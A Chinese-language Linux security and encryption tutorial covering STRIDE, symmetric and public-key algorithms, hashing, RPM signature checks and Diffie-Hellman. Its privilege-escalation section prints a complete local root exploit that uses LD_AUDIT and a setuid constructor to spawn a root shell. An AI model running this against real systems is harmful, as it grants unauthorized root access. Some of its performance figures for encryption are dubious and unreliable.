Linux操作系統安全-加密和安全
作者:尹正傑
版權聲明:原創作品,謝絕轉載!否則將追究法律責任。
一.墨菲定律
墨菲定律:
一種心理學效應,是由愛德華·墨菲(Edward A. Murphy)提出的, 原話:如果有兩種或兩種以上的方式去做某件事情,而其中一種選擇方式將導致災難,則必定有人會做出這種選擇。
主要內容:
任何事都沒有表面看起來那么簡單
所有的事都會比你預計的時間長
會出錯的事總會出錯
如果你擔心某種情況發生,那么它就更有可能發生
二.安全機制
1>.信息安全防護的目標
保密性(Confidentiality):
數據不能泄漏,比如公司的工資是不可以泄漏的。
完整性(Integrity):
要確保數據是完整的,即沒有被改過。
可用性(Usability):
比如raid5,當一塊硬盤損壞后,依舊是可以正常使用的。
可控制性(Controlability):
比如的集群最大並發處理連接請求是10萬,但在某個時刻你的集群需要處理100萬連接請求時你得能控制這些鏈接,如果你強項用只能處理10萬連接請求的集群去響應100萬個連接請求,可能瞬間集群就崩潰了,可以采取降級處理,比如使用隊列措施,分批次處理,每次處理10萬請求,分10次處理完成。如果不能有效控制這些請求會導致集群崩潰。
不可否認性(Non-repudiation):
比如你在某寶或者某東網購了一件商品,當快遞送到你家門了你不能拒絕說不是你的東西呀,畢竟你是掏過錢的。
2>.安全防護環節
物理安全:
各種設備/主機、機房環境,比如我們可以輕松破解linux的root口令。
系統安全:
主機或設備的操作系統,比如操作系統的的root安全口令,禁止非法用戶連接操作系統。
應用安全:
各種網絡服務、應用程序,比如控制用戶登錄,上傳,下載等權限。
網絡安全:
對網絡訪問的控制、防火牆規則,例如sshd服務只有特定的用戶或ip才能訪問。
數據安全:
信息的備份與恢復、加密解密,比如用戶的密碼存入數據庫時應該加密不能使用明文,早期CSDN的數據庫事件想必大家都清楚吧,CSDN號稱中國第一大開發網站,結果保存用戶名的密碼是用明文方式存儲,這會導致誰有數據庫權限,誰就可以拿到全中國所有開發人員的密碼。盡管現在它修復了這個問題,該網站數據安全惡劣性導致很多開發人員也懶得去用了。
管理安全:
各種保障性的規范、流程、方法,比如一些重要的打印數據文件想要廢棄時需要使用碎紙機處理后才能交給保潔阿姨打掃。
三.安全攻擊(STRIDE)
假冒(Spoofing):
比如郵箱存在漏洞的話,就可以想冒充誰就用誰的身份去發送郵件。
篡改(Tampering):
比如胡歌主演的電視劇<<神話>>,趙高篡改了秦始皇的詔書,最終將皇位並沒有傳給公子扶蘇,而是傳給了胡亥。
否認(Repudiation):
這種情況在生產環境太正常了,明明是某個開發人員執行錯誤命令導致線上服務崩潰,還好運維人員有堡壘機記錄用戶執行的命令,擁有證據是誰干的。
信息泄漏(Information Discloure):
比如著名的telnet服務傳輸數據使用明文,如果使用telnet協議登錄,用戶名和密碼均可以使用抓包工具進行抓取,在比如http協議,傳輸數據也是明文的,用戶在網頁使用登錄密碼一抓一個准,在比如很多免費Wi-Fi,只要你通過免費Wi-Fi傳輸數據所有數據流都會走對方的路由網關,如果有銘感信息會直接被抓取到的,身為一個IT人員保護自己的隱私意識還是要有的。
拒絕服務(Denial of Service):
可以使用ping命令發起簡單的攻擊,導致服務無法為正常客戶端提供響應,從而導致拒絕服務的狀態,這種方式建議大家使用警ping策略。
提升權限(Elevation of Privilege):
比如RedHat5操作系統早期有個漏洞,只要安裝了gcc軟件包,如果你直到一個普通賬號就可以把它提示成root用戶權限。

第一步,安裝gcc工具包: yum -y install gcc 第二步,使用當前用戶(yinzhengjie)進行提權操作: mkdir /tmp/yinzhengjie ln /bin/ping /tmp/yinzhengjie/test exec 3 < /tmp/yinzhengjie/test rm -rf /tmp/yinzhengjie cat > /tmp/yinzhengjie.c <<EOF void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } EOF gcc -w -fPIC -shared -o /tmp/yinzhengjie /tmp/yinzhengjie.c LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
四.安全設計基本原則
使用成熟的安全系統:
不要當小白鼠,比如2019年剛發布的CentOS 8.x版本不推薦大家直接在生產環境中使用。當年大眾點評上來就用CentOS 6.2(改版本存在bug),結果185天后自動重啟服務器。估計該公司幾千台服務器陸陸續續的重啟服務器,這意味着會對公司造成嚴重損失。
以小人之心度輸入數據:
要考慮到用戶輸入的數據不一定會很規范。
外部系統是不安全的:
外部系統主要是指暴漏在公網的服務,比如阿里每天都會有上千萬次攻擊,因此外部基本上都會有防火牆。其實內部網絡也是不太安全的,據說80%的攻擊均來自內網造成的。我們直到外網防護有防火牆,其實內網也有類似於防火牆之類的軟件比如防水牆。
最小授權:
盡量給開發,測試權限給到最小,只要能滿足要求就好。
減少外部接口:
盡量減少和外部連接的通道,比如USB端口使用。
缺省使用安全模式:
比如盡量使用selinux,不過在國內使用該軟件的相對較少。
安全不是似是而非:
需要通過一些技術手段來保證的,比如網絡設備的端口隔離,vlan之間的是否可以相互通信,防火牆策略是否需要配置,selinux是否需要開啟,應用層軟件是否需要權限驗證等等。
從STRIDE思考:
參考標題三提到的STRIDE相關策略。
在入口處檢查:
在入口出做好安全檢查,確保不在黑名單之列的話就可以考慮繼續為請求響應。
從管理上保護好你的系統:
不僅僅是指技術,還有管理流程等。
五.安全算法
常用安全技術(安全技術會涉及到相應的算法來保證)
認證:
驗證用戶身份。
授權:
驗證身份后,需要給用戶進行授權。
審計:
記錄用戶的操作,直到每個用戶都執行了哪些命令便於追責。
安全通信:
數據通信過程中我們需要進行加密,比如https,ssh等協議。
加密算法和協議
對稱加密
公鑰加密(又稱為:"非對稱加密算法")
單向加密
認證協議
溫馨提示:
加密涉及到算法和秘鑰,其中算法是公開的,而秘鑰則不公開。
六.對稱加密算法
對稱加密(加密和解密使用同一個密鑰),市面上比較流行的對稱加密算法如下所示: DES:
Data Encryption Standard,56bits(即基於七個字節的數據加密標准) 3DES:
在DES的基礎上反復加密3次。 AES:
Advanced Ebcryption Standard,它支持128bits(16個字節的數據加密標准),192bits(24個字節的數據加密標准),256bits(32個字節的數據加密標准) 商業加密算法:Blowfish,Twofish 其他加密算法:IDEA,RC6,CAST5 特性: (1)加密、解密使用同一個密鑰,效率高 (2)將原始數據分割成固定大小的塊,逐個進行加密 缺陷: (1)密鑰過多 (2)密鑰分發 (3)數據來源無法確認
七.非對稱加密算法
公鑰加密(密鑰是成對出現):
公鑰:
公開給所有人;public key
私鑰:
自己留存,必須保證其私密性;secret key,
比如公司財務部使用的U盾就是私鑰,但為了防止U盾丟失會使用對稱秘鑰對U盾進行加密,這也就是為什么財務人員使用U盾時需要輸入密碼,如果密碼忘記了就只能去銀行重新重置密碼了。
比如數字證書就是用私鑰加密數據后在傳輸,只有公鑰才能解開加密數據。
特點:
用公鑰加密數據,只能使用與之配對的私鑰解密;反之亦然(即使用私鑰加密的數據只能使用與之配對的公鑰進行解密)
使用私鑰可以推出公鑰,但是使用公鑰卻推不出私鑰。
功能:
數字簽名:
主要在於讓接收方確認發送方身份
對稱密鑰交換:
發送方用對方的公鑰加密一個對稱密鑰后發送給對方
數據加密:
適合加密較小數據
缺點:
密鑰長,加密解密效率低下
非對稱密鑰支持的算法:
RSA(支持加密功能,數字簽名(用私鑰加密),它的應用較廣)
DSA(只支持數字簽名)
ELGamal(一個基於迪菲-赫爾曼密鑰交換的非對稱加密算法,它在1985年由塔希爾·蓋莫爾提出)
八.RSA和DSA
RSA:
公鑰加密算法是1977年由Ron Rivest、Adi Shamirh和Len Adleman在(美國麻省理工學院)開發的,RSA取名來自開發他們三者的名字,后成立RSA數據安全有限公司。RSA是目前最有影響力的公鑰加密算法,它能夠抵抗到目前為止已知的所有密碼攻擊,已被ISO推薦為公鑰數據加密標准。RSA算法基於一個十分簡單的數論事實:將兩個大素數相乘十分容易,但那時想要對其乘積進行因式分解卻極其困難,因此可以將乘積公開作為加密密鑰
DSA (Digital Signature Algorithm):
1991年7月26日提交,並歸屬於David W. Kravitz前NSA員工,DSA是Schnorr和ElGamal簽名算法的變種,被美國NIST作為SS(DigitalSignature Standard), DSA是基於整數有限域離散對數難題的,其安全性與RSA相比差不多。DSA只是一種算法,和RSA不同之處在於它不能用作加密和解密,也不能進行密鑰交換,只用於簽名,它比RSA要快很多。
九.單向散列
將任意數據縮小成固定大小的"指紋"
任意長度輸入
固定長度輸出
若修改數據,指紋也會改變("不會產生沖突")
無法從指紋中重新生成數據("單向")
功能:
數據完整性
常見算法
md5(128bits,不推薦使用,已被中國密碼學家王小雲教授破解)
sha1(160bits,不推薦使用,已被中國密碼學家王小雲教授破解)
sha224
sha256
sha384
sha512
常用工具
md5sum | sha1sum [ --check ] file
openssl、gpg
rpm -V

[root@node101.yinzhengjie.org.cn ~]# ll
total 152
-rw-r--r-- 1 root root 154586 Dec 20 07:33 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum messages.html.gz #可以很快通過hash算法得到一共摘要值,這個摘要值就是我們所說的指紋,不推薦使用md5加密算法了,因為它已經被我國密碼學教授王小雲破解了,為了安全性可以對加密后的數據進行加"鹽"處理。
63c44f1dde0f3dca31f1741617c87422 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha1sum messages.html.gz
f862cbad72343a40b27a01fd351fe1298b1c4099 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha224sum messages.html.gz
d811ae33ff10cf64544d799837f87deefba78f3cc5089f08efd9b64e messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha256sum messages.html.gz
d8b91264651b0ec8a3dacc350b7d3eac9037272972ec82aa418047bc50ab5834 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha384sum messages.html.gz
9311cabc378953f1a44f990b4042baaaec47e981892bb3d732d9af75ebb0fb0087d8b4a12a18892a116795e6a31be4f7 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha512sum messages.html.gz
2412ef19368c79a5df399b580c3b5d1826d20560e2389a1d957ebf56b023cfd19c004221824778d68361155a16bc8e5f305e8d01308da9fda5254ecfa5506418 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#

[root@node101.yinzhengjie.org.cn ~]# echo "yinzhengjie" > test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cat test.log
yinzhengjie
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum test.log > md5.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 8
-rw-r--r-- 1 root root 43 Dec 20 11:20 md5.log
-rw-r--r-- 1 root root 12 Dec 20 11:20 test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log #通過md5校驗可以來判斷文件是否發生修改
test.log: OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo "2019" >> test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cat test.log
yinzhengjie
2019
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 8
-rw-r--r-- 1 root root 43 Dec 20 11:20 md5.log
-rw-r--r-- 1 root root 17 Dec 20 11:21 test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log
test.log: FAILED
md5sum: WARNING: 1 computed checksum did NOT match
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo "yinzhengjie" > test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log
test.log: OK
[root@node101.yinzhengjie.org.cn ~]#
十.生產環境中的加密算法剖析
據有人統計:
使用DES算法(對稱加密)
加密1G數據,加密后變為2G數據,加密用時4分鍾,解密用時8分鍾。
使用RSA算法(非對稱加密)
加密1G數據,加密后文件大小不變還未1G,加密用時1分鍾,解密用時64小時。
舉個例子:
若A和B兩個人都有對方的公鑰且各自都有自己的私鑰,若A想要給B發送數據,B如何確認數據一定是A發送過來的呢?
我們假設A的私鑰記作A.S,A的公鑰記作A.P,同理,B的私鑰記作B.S,B的公鑰記作B.P。數據則記作data,則關於數據加密算法有以下三種方案:
版本一:("非對稱密鑰加密 + 非對稱密鑰",效率極低)
A端操作:
data ----> A.S(data) ----> B.P(A.S(data))
B端操作:
B.S(B.P(A.S(data))) ----> A.P(A.S(data)) ----> data
說明:
在A端使用A的私鑰對數據進行加密,再將加密的數據使用B的公鑰再次加密,兩次加密后發送給B;
當B接收到數據時,使用B自己的私鑰進行解密得到使用A的私鑰加密的數據,再用A的公鑰去解密得到最終的數據。
版本二:("非對稱密鑰 + hash",效率較低)
A端操作:
data ----> data + A.S(hash(data)) ----> B.P(data + A.S(hash(data)))
B端操作:
B.S(B.P(data + A.S(hash(data)))) ----> data + A.P(A.S(hash(data))) ----> data + hash(data) ---->data
說明:
在A端首先使用單向散列算法給data算出一個hash摘要值,之后A使用自己的私鑰對這個摘要值進行加密而不直接對data進行加密,再然后就將data和對hash值加密的數據再通過B的公鑰進行加密。兩次加密后發送給B;
當B接收到數據時,使用B自己的私鑰進行解密得到data和使用A的私鑰加密的hash值,於是使用A的公鑰對去解密得到data和hash摘要值,之后將數據以同樣的單向散列相關算法對接收到的data算的一個hash值,將算出來的hash值和解密的hash值進行對比,若一樣說明數據是完整的,若不一樣,說明數據丟失或中途被人篡改過。
版本三:("對稱密鑰 + 非對稱密鑰 + hash",效率高,生產環境大量使用該方式)
A端操作:
data ----> data + A.S(hash(data)) ----> key{data + A.S(hash(data))} + B.P(key)
B端操作:
B.S(B.P(key)) + key{data + A.S(hash(data))} ----> key{key{data + A.S(hash(data))}} ----> data + A.P(A.S(hash(data))) ----> data + hash(data) ----> data
說明:
在A端首先使用單項散列算法給data算出一個hash摘要值,之后A使用自己的私鑰對這個摘要值進行加密而不直接對data進行加密,再然后用對稱密鑰key對data和A.S(hash(data))進行加密,最后將對稱密鑰key使用B的公鑰進行加密后一起發送給B;
在B端接收到數據時,首先B使用給自己的私鑰對key進行解密,得到對稱密鑰key,使用這個對稱密鑰對key{data + A.S(hash(data)}進行解密得到data和A.S(hash(data)),然后再用A的共鑰對數據再次進行解密得到hash摘要值,再將data使用同樣的單項散列算法得到hash與解密出來的hash值進行比較,若一樣說明數據時完整的,若不一樣說明數據丟失了或者是中途被人修改過了。
十一.數字簽名
如下圖所示,就是數字證書,它的這種算法就是我們上面提到的版本二的算法實現方式。存在的缺點就是使用非對稱密鑰對數據進行了一次加密操作。如果能把非對稱加密的過程換成對稱密鑰加密過程效率會更進一步提升。
十一.應用程序:RPM
文件完整性的兩種實施方式
被安裝的文件
MD5單向散列
rpm --verify package_name (or -V)
發行的軟件包文件
GPG公鑰簽名
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat*
rpm --checksig pakage_file_name (or -K)

[root@node101.yinzhengjie.org.cn ~]# rpm -qf /etc/issue
centos-release-7-6.1810.2.el7.centos.x86_64
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #驗證改軟件包安裝的文件是否有被修改,如果沒有輸出說明並沒有修改
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r--. 1 root root 23 Nov 23 2018 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo >> /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r--. 1 root root 24 Dec 20 12:39 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #我們修改了"/etc/issue"后,文件發送變化了,這里就會有輸出信息,這個數字5表示內容被修改了
S.5....T. c /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# vim /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r-- 1 root root 23 Dec 20 12:41 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #我們將內容還原后,發現依舊有提示信息,這是在提示咱們該文件的修改時間發生變化了
.......T. c /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]#

[root@node101.yinzhengjie.org.cn ~]# ll /mnt/
total 0
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# mount /dev/sr0 /mnt/ #你得確認你的虛擬機依舊接入光盤了才能指向掛載操作
mount: /dev/sr0 is write-protected, mounting read-only
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cp /mnt/Packages/less-458-9.el7.x86_64.rpm ./ #我們將光盤的文件拷貝到家目錄
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122672 Dec 20 12:48 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /mnt/RPM-GPG-KEY-CentOS-7 #光盤中有一個公鑰文件
-rw-rw-r-- 1 root root 1690 Dec 10 2015 /mnt/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 #該目錄也有一個公鑰文件,和上面兩個公鑰文件大小一樣,內容也一樣
-rw-r--r--. 1 root root 1690 Nov 23 2018 /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# diff /mnt/RPM-GPG-KEY-CentOS-7 /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 #我們可以導入安裝公鑰
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -qa "*pubkey" #導入成功后就可以搜索到公鑰啦
gpg-pubkey-f4a80eb5-53a7ff4b
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -K less-458-9.el7.x86_64.rpm #我們使用"-k"參數來校驗一下該文件的md5是否符合官方的校驗,若出現ok字樣說明就是官網的~並沒有發生篡改。
less-458-9.el7.x86_64.rpm: rsa sha1 (md5) pgp md5 OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122672 Dec 20 12:48 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo >> less-458-9.el7.x86_64.rpm #注意,如果我們在該文件中添加一個換行符,說明文件被修改了
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122673 Dec 20 12:56 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -K less-458-9.el7.x86_64.rpm #若出現"PGP MD5 NOT OK"字樣說明文件被修改了,即不是官網的安裝包,已經被人篡改過了。
less-458-9.el7.x86_64.rpm: rsa sha1 (MD5) PGP MD5 NOT OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]#
十二.密鑰交換
對稱密鑰交換:IKE( Internet Key Exchange ) 方案一: 公鑰加密,使用對方的公鑰進行加密,就算有中間人拿到數據沒有私鑰是解不開的,也只有發送給擁有私鑰的人才能解開並拿到對稱密鑰,在進行后續的操作。 方案二: DH (Deffie-Hellman)生成會話密鑰,由惠特菲爾德·迪菲(Bailey Whitfield Diffie)和馬丁·赫爾曼(Martin Edward Hellman)在1976年發表。 DH (Deffie-Hellman)工作原理: 1>.第一步: A: g,p 協商生成公開的整數g, 大素數p B: g,p 2>.第二步: A:生成隱私數據 :a (a<p ),計算得出 g^a%p,發送給B B:生成隱私數據 :b,計算得出 g^b%p,發送給A 3>.第三步: A:計算得出 [(g^b%p)^a] %p = g^ab%p,生成為密鑰 B:計算得出 [(g^a%p)^b] %p = g^ab%p,生成為密鑰
舉個例子:
A:a=4,g=5,p=23
B:b=3,g=5,p=23
A:{(5^3%23)^4}%23=18
B:{(5^4%23)^3}%23=18